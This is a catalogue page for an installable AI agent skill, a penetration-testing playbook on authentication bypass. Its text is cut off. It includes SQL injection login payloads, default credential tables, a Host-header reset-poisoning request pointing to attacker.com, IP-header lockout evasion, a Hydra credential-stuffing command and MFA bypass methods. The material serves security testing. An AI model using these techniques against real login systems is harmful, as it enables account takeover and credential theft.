authbypass-authentication-flaws
Authentication bypass testing playbook
Install / Use
npx skills add yaklang/hack-skills --skill authbypass-authentication-flawsInstalls into whichever agent you are using.
SKILL.md
Installable skill definition
Quality Score
Category
Data & AnalyticsSupported Platforms
Our assessment of authbypass-authentication-flaws
authbypass-authentication-flaws scores 88/100 on our quality scale, 368th of 604 Data & Analytics skills we index.
Its SKILL.md is 15 KB long, well organised into 60 sections with 33 code examples: a thorough specification that gives an agent plenty to work with.
With 2,288 GitHub stars, it is one of the more widely adopted skills in the catalogue.
Maintenance, license and trust
- The repository was last updated about 2 months ago, so authbypass-authentication-flaws is actively maintained.
- Our last check on 2026-11-01 found the source still online.
- It is released under the MIT license, a permissive license that allows use, modification and commercial use with attribution.
- Its trust signals score 100/100, with no cautions. These come from repository metadata, not a code audit — read the skill file before letting an agent act on it.
Safety scan
No issues foundOur scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. An AI review of the same text found nothing harmful.
AI review by kimi-k2.7-code on 2026-10-01. Automated pattern scan on 2026-10-01. It catches known dangerous patterns, not every risk — read a skill before letting an agent act on it.
authbypass-authentication-flaws compared with similar skills
All 4 of these similar skills score higher than authbypass-authentication-flaws; compare them before choosing.
| Skill | Score | Stars | Updated | Format |
|---|---|---|---|---|
| authbypass-authentication-flaws (this skill)by yaklang | 88 | 2.3k | 2mo ago | SKILL.md |
| claude-memby thedotmack | 100 | 117.6k | today | CLAUDE.md |
| x402by browser-use | 100 | 121.0k | 3d ago | SKILL.md |
| algorithmic-artby anthropics | 100 | 177.9k | 55d ago | SKILL.md |
| pptxby anthropics | 100 | 177.9k | 55d ago | SKILL.md |
Frequently asked questions
- How do I install authbypass-authentication-flaws?
- Run
npx skills add yaklang/hack-skills --skill authbypass-authentication-flaws. The install tabs above show the steps for each supported agent. - Which AI agents does authbypass-authentication-flaws work with?
- It is written for Universal, as a SKILL.md file. Other agents that read the same format can often use it too.
- Is authbypass-authentication-flaws safe to use?
- Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. An AI review of the same text found nothing harmful. It is MIT-licensed and scores 100/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand.
- Is authbypass-authentication-flaws still maintained?
- The repository was last updated about 2 months ago, so authbypass-authentication-flaws is actively maintained.
Skill content
View source on GitHubname: authbypass-authentication-flaws description: >- Authentication bypass testing playbook. Use when assessing login flows, password reset logic, account recovery, MFA bypass, token predictability, brute-force resistance, and session boundary flaws.
SKILL: Authentication Bypass — Expert Attack Playbook
AI LOAD INSTRUCTION: Expert authentication bypass techniques. Covers SQL injection-based login bypass, password reset flaws, token predictability, account enumeration, brute force bypass, and multi-factor auth bypass. Distinct from JWT/OAuth (covered in ../jwt-oauth-token-attacks/SKILL.md). Focus on the login mechanism itself.
0. AUTHORIZED CREDENTIAL TEST PLANNING
After reducing routing entries, default credentials, username variants, port focus, and wordlist sizing are handled here in one place.
Service-first tiny sets
| Service Type | First Usernames | First Passwords |
|---|---|---|
| phpMyAdmin | root, admin | empty, root, phpmyadmin, admin |
| FTP | ftp, admin, test | empty, ftp, admin, 123456 |
| SSH | root, admin, service account names | root, admin, seasonal variants |
| MySQL | root, mysql | empty, root, mysql |
| Tomcat / Java admin | tomcat, admin, manager | tomcat, admin, s3cret |
| WebLogic | weblogic, admin | weblogic, welcome1, admin |
Username classes
| Class | Examples |
|---|---|
| Generic admins | admin, administrator, root, test, guest |
| Support / ops | dev, ops, sysadmin, service, backup |
| Name-based | firstname, lastname, f.lastname, first.last |
| Mail-derived | left side of corporate email formats |
| Product-based | tomcat, weblogic, jenkins, gitlab |
Wordlist sizing and port focus
| Scenario | Preferred Size | Why | |---|---|---| | Default admin panel | 5 to 50 passwords | Defaults beat giant lists here | | Internal service with known product | vendor-specific small set | Better signal than generic lists | | Consumer login with weak controls | Top 20 or Top 100 | Fast verification | | Rate-limited login | tiny list + header/rotation strategy | Preserve attempts | | Offline hash cracking | large dictionaries | Online brute rules do not apply |
Prioritize common ports and service surfaces: 80/443/8080/8443 admin panels, 22 SSH, 21 FTP, and 3306/5432/6379/27017 data or management services.
1. SQL INJECTION LOGIN BYPASS
Classic but still found in legacy systems, custom ORMs, and raw query code:
-- Basic bypass (admin user assumed first row):
Username: admin'--
Password: anything
→ Query: SELECT * FROM users WHERE user='admin'--' AND pass='anything'
-- Generic bypass (logs in as first user in DB):
Username: ' OR '1'='1'--
Password: anything
→ Query: SELECT * FROM users WHERE user='' OR '1'='1'--' AND pass='anything'
-- Blind: does this work?
Username: ' OR 1=1--
Username: admin' OR 'a'='a
Username: 1' OR '1'='1'/*
Username: 1 or 1=1
Test each field separately — only one field may be vulnerable.
2. PASSWORD RESET VULNERABILITIES
Guessable / Predictable Reset Tokens
Check if reset token is based on:
- Timestamp: token=1691234567890 (Unix time)
- Sequential: token=1001, 1002, 1003
- MD5(email): echo -n "user@example.com" | md5sum
- MD5(username+timestamp): reversible
- Short token (4-6 digits): brute-forceable
Test: Request 3 consecutive reset emails, compare token patterns.
Reset Token Not Expiring
1. Request password reset → get token via email
2. Wait 48+ hours (token should expire)
3. Use old token → does it work?
Reset Token Reuse
1. Request reset → get token T1
2. Complete reset with T1
3. Use T1 again → does it work again?
Host Header Injection in Reset Email
When application generates reset URL using Host header:
POST /forgot-password HTTP/1.1
Host: attacker.com ← inject attacker's domain
Content-Type: application/x-www-form-urlencoded
email=victim@target.com
→ Reset email sent to victim with link pointing to attacker.com/reset?token=VICTIM_TOKEN
→ Victim clicks → token captured by attacker
Test: Send password reset with modified Host:, check email for where reset link points.
Password Reset Token in Referer
1. Request reset → go to reset URL with token
2. Reset page loads third-party resources (analytics, fonts)
→ Referer header leaks: https://target.com/reset?token=TOKEN
→ Third-party server receives token in logs
Password Change Without Current Password
PUT /api/user/password
{"new_password": "hacked"}
→ No current_password field required?
→ Combine with CSRF for account takeover
3. ACCOUNT ENUMERATION
Identifying valid usernames/emails enables targeted attacks:
Error Message Difference
Invalid username → "User not found"
Valid username, wrong pass → "Incorrect password"
→ Enumerate valid accounts
Response Time Difference
Invalid username → fast response (no DB lookup)
Valid username → slightly slower (DB lookup + hash comparison)
→ Timing oracle
Password Reset Flow
POST /forgot-password {"email": "nonexistent@example.com"}
→ "If this email exists, we sent a reset link" (proper)
vs.
→ "This email is not registered" (enumeration possible)
Registration Endpoint
POST /register {"email": "victim@example.com"}
→ "Email already registered" → confirms account exists
vs.
→ "Verification email sent" for both → no enumeration
4. BRUTE FORCE BYPASS
Lockout After N Attempts Then Resets
Lockout at 10 attempts → try 9 wrong passwords → lock
Wait for reset period (usually 30 min or 1 hour)
→ Try 9 more → repeat → no permanent lockout
IP-Based Lockout Bypass
X-Forwarded-For: 1.1.1.1 ← change each request
X-Real-IP: 2.2.2.2
Rotate through IPs in header
Username Cycling vs Password Cycling
Normal brute: try many passwords for one user → lock
Reverse brute: try ONE password for many users
→ "password123" against all users → find those with weak password
→ No single account locked out
Credential Stuffing
Use breached credentials from HaveIBeenPwned datasets against target:
# Tools: Hydra, Burp Intruder, custom scripts
hydra -C credentials.txt https-post-form://target.com/login:"username=^USER^&password=^PASS^":"error message"
5. MULTI-FACTOR AUTHENTICATION BYPASS
Session Cookie Before 2FA Completion
Flow: Login (password correct) → redirect to 2FA page → enter code
Attack: After password step, session cookie is set but 2FA not yet checked.
→ Use session cookie to directly access /dashboard
→ Skip 2FA page entirely
2FA Code Brute Force
4-6 digit TOTP codes = 1,000,000 possibilities max
If no lockout on 2FA step:
→ Brute force all codes (tool: Burp Intruder, sequential)
→ TOTP windows: 30-second window, some accept previous/next window
2FA on Critical Actions Not On Login
Login doesn't require 2FA, but:
DELETE /account or POST /transfer requires 2FA
Attack: Is 2FA checked on those actions or only on login?
→ If only login: log in once → no 2FA needing verification for actions
2FA Backup Code Abuse
Generate backup codes (usually 8-10 single-use)
Test:
→ Are backup codes rate-limited?
→ Can backup codes be used multiple times?
→ Short codes (6-8 chars)? Brute-force if no rate limit
2FA Code Reuse
TOTP codes valid for one use
→ Use same TOTP code twice → does second use work?
→ Replay attack if server doesn't track used codes
6. OAUTH / SSO ACCOUNT TAKEOVER PATTERNS
Email Claim Trust
1. Create account at attacker-controlled OAuth provider
2. Set email claim = victim@target.com
3. Link/login via that provider
→ If server trusts email claim without verification → account merge/takeover
Password Doesn't Apply After SSO Link
1. User links Google SSO
2. User forgets password (account has no password set after SSO only)
3. "Forgot Password" flow → resets password even for SSO-only accounts?
→ Can set password → now bypass SSO → direct login
7. USERNAME / PASSWORD FIELD MANIPULATION
Long Password DoS → Bypass
Some apps hash passwords before sending to database.
bcrypt has 72-byte limit — input beyond 72 bytes is ignored.
Attack:
→ Register with password "A"*100
→ Login with password "A"*72 → same hash → works
→ Login with "A"*71 + "totally different" → if truncation → same hash if first 72 chars match
Null Byte in Username
username=admin%00 vs username=admin
→ Null byte truncation in some string comparisons
→ "admin\0attacker" = "admin" in C-string comparison
Unicode Normalization
Username: "ⓢcott" → normalizes to "scott" → impersonates "scott"
Username: "admin" (various Unicode homoglyphs for letters a,d,m,i,n)
8. SESSION MANAGEMENT FLAWS
Session Not Invalidated on Logout
1. Log in → capture session cookie
2. Log out
3. Replay captured session cookie → still valid?
→ Session not server-side invalidated
Session Not Regenerated on Privilege Change
1. Log in as low priv → get session cookie
2. Admin upgrades your role
3. Old session cookie now has admin access?
→ Session not regenerated → old token inherits new privileges
Predictable Session Tokens
Token: base64(userid+timestamp) → reversible
Token: sequential integers → session ID= your_session_id -/+ small number
Token: short random (32-bit entropy) → brute-forceable
9. AUTHENTICATION TESTING CHECKLIST
□ Try SQL injection on login fields (' OR 1=1--)
□ Test password reset: predict token, host header injection, Referer leak
□ Test account enumeration via error messages / timing
□ Check 2FA: skip step (direct URL), brute force codes, reuse codes
□ Test brute force protections: X-Forwarded-For bypass, reverse brute
□ Check session invalidation on logout
□ Check session regeneration after privilege change
□ Test password change requiring current password
□ Test long passwords (bcrypt 72-byte truncation)
□ OAuth/SSO: test email claim trust, password set after SSO
□ Check remember_me tokens: how long, revocable, predictable?
10. PASSWORD RESET ATTACK MATRIX (22 Patterns)
| # | Pattern | Description |
|---|---|---|
| 1 | Predictable reset token | Token based on timestamp, user ID, or sequential number |
| 2 | Token not bound to user | Use token generated for user A to reset user B |
| 3 | Token in response body | Reset token returned in HTTP response (not just email) |
| 4 | Token in URL parameter | Reset link token visible in Referer header to external resources |
| 5 | No token expiration | Token remains valid indefinitely |
| 6 | Token reuse | Same token works multiple times |
| 7 | Short/brute-forceable token | 4-6 digit numeric code without rate limiting |
| 8 | Password reset via host header | Host: attacker.com → reset link sent with attacker's domain |
| 9 | Registration overwrites existing account | Register with same email → overwrites password |
| 10 | Step skip (frontend only) | Jump directly to "set new password" step via URL |
| 11 | Response manipulation | Change {"status":"fail"} to {"status":"success"} in proxy |
| 12 | Verification code in response | SMS/email code returned in API response |
| 13 | Parallel session reset | Start reset for A, complete with B's session |
| 14 | Email/phone parameter pollution | email=victim@x.com&email=attacker@x.com |
| 15 | Unicode normalization | admin@target.com vs ADMIN@target.com vs Unicode confusables |
| 16 | SQL injection in reset | Email field injectable in reset query |
| 17 | IDOR on reset endpoint | Change user ID in reset confirmation request |
| 18 | Cross-protocol reset | Mobile API doesn't validate same token as web |
| 19 | Default security questions | Guessable answers, no rate limit |
| 20 | Token generation race condition | Multiple simultaneous requests generate same token |
| 21 | Logout doesn'
Truncated for display — read the full file on GitHub.
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From repository metadata: license, adoption, age and documentation. Not a code audit — see the Safety scan above for what the skill file itself contains.
